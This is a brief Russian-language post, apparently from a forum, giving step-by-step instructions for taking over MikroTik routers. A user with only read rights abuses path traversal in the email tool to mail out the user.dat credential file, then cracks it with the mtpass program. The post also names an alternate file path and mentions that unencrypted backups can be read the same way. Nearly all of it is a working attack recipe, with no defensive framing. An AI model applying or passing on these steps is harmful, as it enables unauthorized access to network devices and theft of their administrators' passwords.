Доброго времени суток.
Заходим на MT с правами read и выше. Отправляем по tools -> email файл "../../nova/store/user.dat"
На отправляемую почту приходит файл .._.._nova_store_user.dat сохраняем его.
Качаем программу mtpass для windows или mtpass для linux.
Вызываем программу:
mtpass .._.._nova_store_user.dat
pause
-----------------------------------------------------------------------------------------------
PS. mtpass также показывает пароли с не зашифрованного .backup
если что файл user.dat можно поискать тут ->../../rw/store/user.dat